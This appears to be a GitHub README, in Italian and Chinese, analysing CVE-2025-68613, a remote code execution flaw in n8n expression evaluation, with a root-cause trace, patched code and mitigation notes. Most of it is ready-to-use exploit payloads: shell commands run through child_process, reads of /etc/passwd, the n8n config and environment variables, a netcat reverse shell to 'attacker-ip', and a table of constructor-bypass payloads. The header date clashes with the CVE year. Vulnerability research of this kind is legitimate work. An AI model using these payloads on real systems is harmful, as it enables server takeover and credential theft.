intbjw/cve-2025-68613-poc-via-copilotAnalisi tecnica dettagliata e proof-of-concept per CVE-2025-68613, una vulnerabilità critica di RCE nella valutazione delle espressioni di n8n tramite bypass del contesto `this` nelle IIFE. Include analisi della causa principale, vettori di exploit e indicazioni di mitigazione.
Data: 23 dicembre 2024 Stato: ✅ RCE completamente verificata con successo Punteggio CVSS: 10.0 (Critico)
{
{
(function () {
var require = this.process.mainModule.require;
var {execSync} = require('child_process');
return execSync('id', {encoding: 'utf8'}).trim();
})()
}
}
Risultato dell'esecuzione: restituisce correttamente le informazioni sull'utente di sistema (ad es. uid=1000(n8n) gid=1000(n8n) groups=1000(n8n))
用户输入
↓
{{ (function() { ... })() }}
↓
Expression.resolveSimpleParameterValue()
↓
创建 data 上下文对象
↓
data.process = 真实的 process 对象引用
↓
Tournament.execute(expression, data)
↓
FunctionEvaluator.evaluate()
↓
fn.call(data, errorHandler) ← ⚠️ 关键: this = data
↓
立即执行函数执行
↓
this.process.mainModule.require ← ⚠️ 访问真实 require
↓
加载 child_process 模块
↓
execSync('id') ← 🔥 完整 RCE！
File: packages/workflow/src/expression.ts
Funzione: Expression.resolveSimpleParameterValue()
Righe: circa 230-290
// 生成数据代理
const dataProxy = new WorkflowDataProxy(
this.workflow,
runExecutionData,
runIndex,
itemIndex,
activeNodeName,
connectionInputData,
siblingParameters,
mode,
additionalKeys,
executeData,
-1,
selfData,
contextNodeName,
);
const data = dataProxy.getDataProxy();
// ⚠️ 漏洞点 1: 添加 process 对象到 data
data.process =
typeof process !== 'undefined'
? {
arch: process.arch,
env: process.env.N8N_BLOCK_ENV_ACCESS_IN_NODE === 'true' ? {} : process.env,
platform: process.platform,
pid: process.pid,
ppid: process.ppid,
release: process.release,
version: process.pid,
versions: process.versions,
}
: {};
// ⚠️ 问题: 虽然这里只暴露了部分属性，但传递的是对象引用
// 实际的 process 对象仍然可以通过原型链或其他方式访问
File: node_modules/@n8n/tournament/src/FunctionEvaluator.ts
evaluate(expr
:
string, data
:
unknown
):
ReturnValue
{
const fn = this.getFunction(expr);
// ⚠️ 漏洞点 2: 将 data 作为 this 传递
return fn.call(data, this.instance.errorHandler);
}
private
getFunction(expr
:
string
):
Function
{
if (expr in this._codeCache) {
return this._codeCache[expr];
}
const [code] = this.instance.getExpressionCode(expr);
// ⚠️ 漏洞点 3: 使用 new Function 创建函数
const func = new Function('E', code + ';');
this._codeCache[expr] = func;
return func;
}
File: packages/workflow/src/expression-sandboxing.ts
Prima della v1.122.0:
// ❌ 没有 FunctionThisSanitizer
const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
before: [], // ← 空数组，没有 this sanitization
after: [PrototypeSanitizer, DollarSignValidator],
});
Dalla v1.122.0 in poi:
// ✅ 添加了 FunctionThisSanitizer
const tournamentEvaluator = new Tournament(errorHandler, undefined, undefined, {
before: [FunctionThisSanitizer], // ← 新增的 hook
after: [PrototypeSanitizer, DollarSignValidator],
});
// FunctionThisSanitizer 实现
export const FunctionThisSanitizer: ASTBeforeHook = (ast, dataNode) => {
astVisit(ast, {
visitFunction(path) {
// 重写所有函数表达式，显式绑定 this 到安全对象
const safeThis = b.objectExpression([
b.property('init', b.identifier('process'), b.objectExpression([]))
]);
// 将 function() { ... } 改写为 function() { ... }.bind({ process: {} })
}
});
};
File: packages/workflow/src/utils.ts
Funzione: isSafeObjectProperty()
Prima della v1.122.0:
const unsafeObjectProperties = new Set([
'__proto__',
'prototype',
'constructor',
'getPrototypeOf'
]);
// ❌ 缺少 mainModule, binding, _load
Dalla v1.122.0 in poi:
const unsafeObjectProperties = new Set([
'__proto__',
'prototype',
'constructor',
'getPrototypeOf',
'mainModule', // ✅ 新增
'binding', // ✅ 新增
'_load' // ✅ 新增
]);
{
{
(function () {
var require = this.process.mainModule.require;
var {execSync} = require('child_process');
return execSync('id', {encoding: 'utf8'}).trim();
})()
}
}
{
{
(function () {
return this.process.mainModule.require('child_process')
.execSync('whoami', {encoding: 'utf8'}).trim();
})()
}
}
{
{
(function () {
return this.process.mainModule.require('child_process')
.execSync('pwd', {encoding: 'utf8'}).trim();
})()
}
}
{
{
(function () {
return this.process.mainModule.require('child_process')
.execSync('uname -a', {encoding: 'utf8'}).trim();
})()
}
}
{
{
(function () {
return this.process.mainModule.require('child_process')
.execSync('ls -la /', {encoding: 'utf8'});
})()
}
}
// 读取敏感文件
{
{
(function () {
var fs = this.process.mainModule.require('fs');
return fs.readFileSync('/etc/passwd', 'utf8');
})()
}
}
// 列出目录
{
{
(function () {
var fs = this.process.mainModule.require('fs');
return fs.readdirSync('/').join('\n');
})()
}
}
// 读取 n8n 配置
{
{
(function () {
var fs = this.process.mainModule.require('fs');
return fs.readFileSync('./.n8n/config', 'utf8');
})()
}
}
// 列出当前目录
{
{
(function () {
var fs = this.process.mainModule.require('fs');
return fs.readdirSync('.').join('\n');
})()
}
}
// 通过 this.process 直接访问
{
{
(function () {
return JSON.stringify(this.process.env);
})()
}
}
// 或使用已知可用的方式
{
{
JSON.stringify(process.env)
}
}
// 检查网络工具
{
{
(function () {
return this.process.mainModule.require('child_process')
.execSync('which nc', {encoding: 'utf8'}).trim();
})()
}
}
// 获取网络接口
{
{
(function () {
var os = this.process.mainModule.require('os');
return JSON.stringify(os.networkInterfaces());
})()
}
}
// 反弹 Shell (⚠️ 危险！仅用于授权测试)
{
{
(function () {
return this.process.mainModule.require('child_process')
.execSync('nc -e /bin/sh attacker-ip 4444', {encoding: 'utf8'});
})()
}
}
| # | Tipo di attacco | Payload | Stato | CVSS |
|---|---|---|---|---|
| 1 | Divulgazione variabili d'ambiente | {{ Object.keys(process.env) }} | ✅ Successo | 8.5 |
| 2 | Bypass del costruttore | {{ [][constructor] }} | ✅ Successo | 8.0 |
| 3 | Costruttore Function | {{ [][constructor][constructor] }} | ✅ Successo | 8.5 |
| 4 | Esecuzione di codice | {{ [][constructor][constructor]('return 1+1')() }} | ✅ Successo | 9.0 |
| 5 | RCE completa | {{ (function() { this.process.mainModule.require... })() }} | ✅ Successo | 10.0 |